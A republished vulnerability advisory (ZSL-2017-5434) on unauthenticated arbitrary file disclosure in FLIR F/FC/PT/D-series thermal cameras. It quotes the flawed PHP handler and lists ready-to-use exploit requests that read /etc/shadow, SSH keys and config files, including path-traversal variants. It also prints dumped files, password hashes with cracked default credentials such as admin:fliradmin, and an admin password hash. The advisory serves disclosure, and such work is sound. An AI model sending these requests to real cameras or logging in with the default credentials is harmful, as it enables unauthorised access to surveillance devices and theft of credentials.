FLIR Systems FLIR Thermal Camera F/FC/PT/D Multiple Information Disclosures

2017.09.26

Credit: **Gjoko 'LiquidWorm' Krstic (https://cxsecurity.com/author/Gjoko+%26%23039%3BLiquidWorm%26%23039%3B+Krstic/1/)**

Risk: **Medium** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **N/A**

FLIR Systems FLIR Thermal Camera F/FC/PT/D Multiple Information Disclosures

Vendor: FLIR Systems, Inc.
Product web page: http://www.flir.com
Affected version: Firmware version: 8.0.0.64
Software version: 10.0.2.43
Release: 1.4.1, 1.4, 1.3.4 GA, 1.3.3 GA and 1.3.2
FC-Series S (FC-334-NTSC)
FC-Series ID
FC-Series R
PT-Series (PT-334 200562)
D-Series
F-Series

Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras
bring thermal and visible-light imaging together in a system that gives you
video and control over both IP and analog networks. The PT-Series' precision
pan/tilt mechanism gives you accurate pointing control while providin

```
g fully
programmable scan patterns, radar slew-to-cue, and slew-to-alarm func
tions.
PT-Series cameras define a new standard of performance with five mode
ls that
provide full 640x480 thermal resolution.

Desc: Input passed thru several parameters is not properly verified b
efore
being used to read files. This can be exploited by an unauthenticated
attacker
to read arbitrary files from local resources.

=============================================================================
=========
/var/www/data/controllers/api/xml.php:
-------------------------------------

68:    private function readFile($file)
69:    {
70:        if (!empty($file) && file_exists($file)) {
71:            $xml = file_get_contents($file);
72:            $this->setVar('result', $xml);
73:            $this->loadView('webservices/default');
74:        }
75:        else {
76:            $this->loadPageNotFound();
77:        }
78:    }

=============================================================================
=========


Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
           Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
           Nexus Server/2.5.29.0
           Nexus Server/2.5.14.0
           Nexus Server/2.5.13.0
           lighttpd/1.4.28
```

```
            PHP/5.4.7


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5434
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-
5434.php


23.03.2017

--


Requests:

GET http://TARGET/api/xml?file=/var/www/data/modules/legacy/config.ph
p HTTP/1.1

Output:
========================================================================

<?php
$configFile = "config.ini";
// load configuration params
$config = parse_ini_file($configFile);
if (!$config || count($config) == 0 || !isset($config["dir_nexus"]))
   die("error loading configuration file...");

// TODO if don't exist configuration, create config.ini according sys
tem and nexus setup

// global
define ("BASE",       $config["dir_nexus"]);
define ("BIN",        $config["dir_bin"]);
define ("TMP_DIR",    $config["dir_tmp"]);
define ("SERVER_DIR", $config["dir_server"]);
```

```
define ("CONF_DIR",   $config["dir_conf"]);
define ("WEB_DIR",      "/web/");
define ("TOOLS_DIR",    "/tools/");
define ("HARDWARE_DIR", "/hardware/");
define ("BACKUPS_DIR",  "/backups/");
define ("BACKUPS_INI_DIR",  BACKUPS_DIR . "ini_files/");
define ("BACKUPS_SYS_DIR",  BACKUPS_DIR . "system_files/");

// server files
define ("INI_FILE",        "/server/conf/server.ini");
define ("INI_DEFAULTS", "factory.defaults");
define ("LOG_FILE",        "server.log");
define ("LOG_DEFAULT_PATH","/server/logs");
define ("SCANLIST_DEFAULT_PATH","/server/sl");
define ("LIC_FILE",        "/server/license/license.txt");
define ("ZOOM_LUT_FILE",   "/server/conf/zoom_lut.txt");
define ("DICTIONARY_FILE", "/server/conf/dictionary.txt");
define ("PELOC_D_FILE",    "/server/conf/PelcoD.map");
define ("FIRMWARE_FILE",    "firmware.sh");
define ("HARDWARE_FILE",   BASE."/hardware/hardware.cfg");

// server ini
define ("INI_SECTION_DEVICES", "Devices");
define ("INI_SECTION_DEVICES_IDS", " Ids");
define ("INI_SECTION_DEVICES_INTERFACE", "INTERFACE");
define ("INI_SECTION_INTERFACE", INI_SECTION_DEVICES_INTERFACE . " Co
nfiguration - Device ");

// nexus cgi
define ("NEXUSCGI_DEFAULTPORT", 0);
define ("NEXUSCGI_TYPE", "Nexus CGI Interface");

// web
define ("USERS_FILE", "config/app/users.txt");
define ("WEBVERSION", "3.4.0.0");
define ("RECOMENDEDSERVERVERSION", "2.5.13.0");

// xml files
define ("devicesFOLDER","devices");
define ("configFOLDER","configuration");
```

```
define ("driversFOLDER","drivers");

// system
// TODO
define ("UNZIP","/usr/bin/unzip");
define ("ZIP","/usr/bin/zip");
define ("SUDO", $config["sudo"]);
define ("FLIRSYS", $config["flir_system"]);
define ("FLIRSTP", $config["flir_setup"]);
define ("CONFSRC", $config["config_source_dir"]);
define ("INISRC", $config["config_source_ini_dir"]);
define ("LOCK_FILE", "/server/conf/.locked");

// service
define ("START",  SUDO . $config["service_start"]);
define ("STOP",   SUDO . $config["service_stop"]);
define ("STATUS", SUDO . $config["service_status"]);

// server file
define ("SERVER_FILE", SERVER_DIR . "bin/" .$config["server_file"]);
define ("STARTUP_FILE", $config["startup_file"]);
define ("BOOT_FILE", $config["boot_file"]);

define ('LINE_FEED', "\n");

// help
define ("HELP_FILES", $config["help_files"]);

// Debug mode
define("DEBUG", $config["debug_mode"]);
?>
=====================================================================


Other file requests:
--------------------

http://TARGET/api/xml?file=/etc/passwd
http://TARGET/api/xml?file=/etc/shadow
http://TARGET/api/xml?file=/proc/version
```

```
http://TARGET/api/xml?file=/root/.ssh/authorized_keys
http://TARGET/api/xml?file=/var/www/lighttpd.conf
http://TARGET/api/xml?file=../../../../../../../../../etc/passwd
http://TARGET/api/file/download/etc/shadow
http://TARGET/api/file/download/etc/passwd
http://TARGET/api/file/content/etc/shadow
http://TARGET/api/file/content/var/log/messages
http://TARGET/api/server/videosnap?file=../../../../../../etc/passwd
http://TARGET/onvif/device_service
http://TARGET/api/xml?file=/usr/local/nexus/server/conf/MessagingConfig.xml
http://TARGET/api/server/status/full
http://TARGET/api/xml?file=/usr/local/nexus/server/conf/FC-334-NTSC.ini
http://TARGET/api/xml?file=/usr/local/nexus/server/conf/scheduler.xml
http://TARGET/page/maintenance/view/server-lan
http://TARGET/api/xml?file=/tmp/SW_versions.txt
http://TARGET/api/xml?file=/usr/local/nexus/hardware/hardware.cfg
http://TARGET/api/file/ini/read



The clear.sh script:
--------------------

http://TARGET/api/xml?file=/var/www/data/config/app/clear.sh


Output:
================================================================================

#!/bin/bash

########

# is web root
if [ ! -f "index.php" ]
then
    echo "please, run from web root"
    exit -1
```

```
fi

# delete old files with spaces
echo "deleting deprecated files (with spaces, ampersand and/or dots)"
find . -name "* *" -print0 | xargs -0 rm -f

echo

# files to delete (deprecated, old...)
FILES_TODETELE="webroot/images/models/
webroot/js/old/
FLIRish.php
footer.html.php
getCgiPort.php
global_functions.php
headerNavigation.php
index-login
isUserogged.php
log_users.php
mobile-loading.php
mobile-meta
testApifile.php
unauthorized.php
users.txt
wizard.php
api/
bundle/
conf/
config/app/clientdesc
config/app/update-files.sh
config/boot_settings.json
config/config.ini
flirfiles/
help/
js/
livevideo/
maintenance/
modules/legacy/
setup/
styles/
```

tmp/user_permissions.json
xmlfiles/
views/main/maintenance/files-extra.php
webroot/images/mobile/
webroot/images/livevideo/
webroot/images/advancedBottom.png
webroot/images/advancedMiddle.png
webroot/images/advancedTop.png
webroot/images/arrowUpMini.png
webroot/images/bgBottom.png
webroot/images/bgButton.png
webroot/images/bgButtonOn.png
webroot/images/bgFullBottom.png
webroot/images/bgFullMiddle.png
webroot/images/bgFullTop.png
webroot/images/bgMiddle.png
webroot/images/bgTop.png
webroot/images/bottomBar.png
webroot/images/flir.ico
webroot/images/leftMenuButton.png
webroot/images/_logoFlirMini
webroot/images/logoFlir.png
webroot/images/logoFlirMini.png
webroot/images/radio.png
webroot/images/tabBackground.png
webroot/css/flir.base.css
webroot/css/flir.ie.css
webroot/css/flir.maintenance.css
webroot/css/flir.mobile.css
webroot/css/flir.setup.css
webroot/css/flir.video.css
webroot/css/flir.wizard.css
webroot/css/jquery/jquery.jscrollpane.css
webroot/css/jquery/jquery-ui-1.8.7.custom.css
webroot/js/PIE_uncompressed.js
webroot/js/jquery/jquery-1.5.1.min.js
webroot/js/jquery/jquery-1.5.min.js
webroot/js/jquery/plugins/jquery.ba-dotimeout.js
webroot/js/jquery/plugins/jquery.dd.js
webroot/js/jquery/plugins/jquery.forms.js

```
webroot/js/jquery/plugins/jquery.i18n.properties-1.0.9.js
webroot/js/jquery/plugins/jquery.jscrollpane.js
webroot/js/jquery/plugins/jquery.mousewheel.js
webroot/js/jquery/plugins/jquery.touchable.js
webroot/js/jquery/plugins/jquery.touchable.js.orig
webroot/xml/host_types.xml
webroot/xml/devices/em
webroot/xml/devices/foveal
webroot/xml/devices/foveus/foveus_Foveus.xml
webroot/xml/devices/foveus/foveus_PTZ35x140.xml
webroot/xml/devices/foveus/foveus_Voyager.xml
webroot/xml/devices/geo/geo_Georeference.xml
webroot/xml/devices/gyro/gyro_TCM2.6.xml
webroot/xml/devices/i2c
webroot/xml/devices/interface/interface_Genetec.xml
webroot/xml/devices/interface/interface_ONVIF.xml
webroot/xml/devices/ir/ir_Microcore275Z.xml
webroot/xml/devices/ir/ir_Thermovision-2000.xml
webroot/xml/devices/ir/ir_Thermovision-3000.xml
webroot/xml/devices/onboard/onboard_LTC2990.xml
webroot/xml/devices/onboard/onboard_LTC2991.xml
webroot/xml/devices/osd/osd_BOB3.xml
webroot/xml/devices/pelco/pelco_PELCO_D.xml
webroot/xml/devices/pharos/pharos_Pharos.xml
webroot/xml/devices/plat/plat_Sagebrush.xml
webroot/xml/devices/plat/plat_Vehicle.xml
webroot/xml/devices/tass/tass_TASS.xml
webroot/xml/devices/video/video_Pleora.xml
webroot/xml/devices/visca/visca_VISCA.xml
webroot/xml/devices/thermostate
webroot/xml/devices/tvi"

# delete files
echo "clearing files"
for oldfile in $FILES_TODETELE
do
    echo "deleting $oldfile"
    rm -rf $oldfile
done
```

```
echo

######

exit 0
================================================================================



Disclosing usernames and hashes:
--------------------------------

http://TARGET/api/xml?file=/var/www/data/config/app/users.txt


user=ee11cbb19052e40b07aac0ca060c23ee
expert=b9b83bad6bd2b4f7c40109304cf580e1
admin=15f9a55de61622e9c2a61ce72663dc08
production=c8348b2fb046ff758256b3a5eadb4a8c
calibration=11df08a6fb66c9ae4eab03ba7db123b0

ee11cbb19052e40b07aac0ca060c23ee MD5 : user
b9b83bad6bd2b4f7c40109304cf580e1 MD5 : expert
15f9a55de61622e9c2a61ce72663dc08 MD5 : fliradmin
c8348b2fb046ff758256b3a5eadb4a8c MD5 : flirproduction
11df08a6fb66c9ae4eab03ba7db123b0 MD5 : flircal

Default credentials:

user:user
expert:expert
admin:fliradmin
production:flirproduction
calibration:flircal


http://TARGET/api/xml?file=/usr/local/nexus/server/conf/admin.passwd

AeRMh9wBkCS9k
```

Product info:
----

http://TARGET/api/system/config/product

{"product":{"name":"generic","sensors":[{"type":"optronic","max":1,"devices":[{"type":"video","text":{"default":"Video"},"max":4,"drivers":["uFLIRish Bullet Video","uFLIRish Bullet Video Snap","uFLIRish Bullet Video Web"]},{"type":"interface","text":{"default":"VMS Remote"},"max":3,"drivers":["Nexus CGI Interface","ONVIF v2.0","Lenel Interface"]},{"type":"ir","text":{"default":"IR"},"max":1,"drivers":["FLIR Tau v2.x","FLIR Radiometric Tau"]},{"type":"plat","text":{"default":"Pan & Tilt"},"max":1,"drivers":["Fixed Mount P&T"]},{"type":"io","text":{"default":"GPIO"},"max":1,"drivers":["Linux GPIO File Handle"]},{"type":"osd","text":{"default":"OSD"},"max":1,"drivers":["OSD uFLIRish"]},{"type":"alarm_manager","text":{"default":"Alarm Manager"},"max":1,"drivers":["Alarm Manager v3.0"]},{"type":"geo","text":{"default":"Georeference"},"max":1,"drivers":["Georeference"]}]}],"maxSensors":1,"maxDevices":255,"ports":[{"id":"\/dev\/ttyp0","text":{"default":"VIPE Video"}},{"id":"\/dev\/ttyS1","text":{"default":"CAM"}}],"aseriesfirmware":false,"mcufirmware":false,"sffc":false,"rescueMode":false},"sections":[{"type":"networking","text":{"default":"Networking"}}]}

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)